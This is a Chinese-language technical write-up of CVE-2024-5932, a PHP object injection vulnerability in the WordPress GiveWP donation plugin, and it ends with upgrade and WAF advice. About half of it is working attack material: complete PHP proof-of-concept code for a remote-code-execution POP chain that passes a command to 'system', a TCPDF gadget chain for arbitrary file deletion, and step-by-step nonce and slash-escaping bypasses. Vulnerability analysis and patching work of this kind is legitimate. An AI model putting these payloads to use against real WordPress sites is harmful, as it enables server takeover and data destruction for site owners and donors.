CVE-2024-5932 Wordpress GiveWP PHP对象注入
字数 1297 2025-08-22 22:47:39
WordPress GiveWP插件反序列化漏洞分析 (CVE-2024-5932)
漏洞概述
影响范围: WordPress GiveWP插件3.14.1及之前版本
漏洞类型: PHP对象注入导致远程代码执行(RCE)和任意文件删除
CVSS评分: 9.8 (Critical)
漏洞描述: GiveWP插件在处理捐赠表单数据时,未对give_title参数进行充分过滤,导致攻击者可以通过构造恶意的序列化数据实现PHP对象注入。结合环境中存在的POP链,可实现远程代码执行和任意文件删除。
漏洞分析
1. 漏洞入口点
漏洞主要存在于wp-content/plugins/give/includes/process-donation.php文件的give_process_donation_form()函数中:
// wp-content/plugins/give/includes/process-donation.php:29
function give_process_donation_form() {
// 验证nonce
give_verify_donation_form_nonce();
// 获取用户信息
$user_info = array(
'title' => isset($_POST['give_title']) ? $_POST['give_title'] : '',
// 其他用户信息字段...
);
$donation_data = array(
'user_info' => $user_info,
// 其他捐赠数据...
);
// 处理捐赠数据
give_send_to_gateway($donation_data);
}
2. 漏洞触发流程
-
Nonce验证绕过:
- 通过
give_ajax_form_search()获取donation form信息 - 使用
give_donation_form_nonce()生成合法的give-form-hash - 绕过
wp_verify_nonce()验证
- 通过
-
恶意数据注入:
- 通过
give_title参数注入序列化对象 - 数据经过
stripslashes_deep()处理(需要特殊处理反斜杠)
- 通过
-
数据存储与反序列化:
- 数据被存储到数据库
- 在发送邮件时通过
give_get_payment_meta_user_info()获取数据 - 调用
give_get_email_names()时触发反序列化对象的__toString()方法
3. 关键函数调用链
give_process_donation_form()
├─ give_verify_donation_form_nonce()
│ └─ wp_verify_nonce()
├─ give_send_to_gateway()
│ └─ $donation->save()
└─ send_email_notification()
└─ give_do_email_tags()
└─ give_email_tag_first_name()
├─ give_get_payment_meta_user_info() // 反序列化
└─ give_get_email_names() // 触发__toString()
利用技术
1. 远程代码执行(RCE) POP链
利用以下类构建POP链:
- Stripe\StripeObject: 存储恶意对象
- GiveInsertPaymentData: 传递用户信息
- Give: 容器类
- ValidGenerator: 设置validator为'system'
- SettingsRepository: 控制
address1参数为要执行的命令
RCE PoC:
<?php
namespace Stripe {
class StripeObject {
public $_values;
public function __construct($o) {
$this->_values["test"] = $o;
}
}
}
namespace Give\PaymentGateways\DataTransferObjects {
use Give\Donations\Properties\BillingAddress;
final class GiveInsertPaymentData {
public $userInfo;
public function __construct($o) {
$this->userInfo["address"] = $o;
}
}
}
namespace Give\Vendors\Faker {
use Give\Vendors\Faker\Extension\Extension;
class ValidGenerator {
public $validator;
public $generator;
public $maxRetries;
public function __construct($o) {
$this->validator = 'system';
$this->generator = $o;
$this->maxRetries = 1; // 必须设置
}
}
}
namespace Give\Onboarding {
use Give\Helpers\Gateways\Stripe;
class SettingsRepository {
public $settings;
public function __construct() {
$this->settings["address1"] = "calc"; // 要执行的命令
}
}
}
namespace {
final class Give {
public $container;
public function __construct($o) {
$this->container = $o;
}
}
}
namespace {
$a = new \Stripe\StripeObject(
new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData(
new \Give(
new \Give\Vendors\Faker\ValidGenerator(
new \Give\Onboarding\SettingsRepository()
)
)
)
);
$a = serialize($a);
$output = str_replace('\\', '\\\\', $a); // 处理反斜杠
echo $output;
}
2. 任意文件删除POP链
利用TCPDF类的__destruct()方法:
<?php
class TCPDF {
public $file_id;
public $imagekeys = array();
public function __construct() {
$this->file_id = 123;
$this->imagekeys = ['/path/to/file']; // 要删除的文件路径
}
}
echo serialize(new TCPDF());
绕过技巧
1. 处理stripslashes_deep()
由于数据会经过三次stripslashes_deep()处理,需要对反斜杠进行特殊处理:
// 原始payload
$payload = 'O:8:"TestObj":1:{s:4:"data";s:12:"malicious\"";}';
// 处理后payload
$final_payload = str_replace('\\', '\\\\', $payload);
// 结果为: O:8:"TestObj":1:{s:4:"data";s:12:"malicious\\\\"";}
2. Nonce验证绕过
- 通过
give_ajax_form_search()获取donation form ID - 使用
give_donation_form_nonce($form_id)生成合法的nonce - 在请求中包含正确的
give-form-id和give-form-hash
修复建议
- 升级GiveWP插件到3.14.2或更高版本
- 临时缓解措施:
- 禁用GiveWP插件
- 在Web应用防火墙(WAF)中拦截包含序列化数据的请求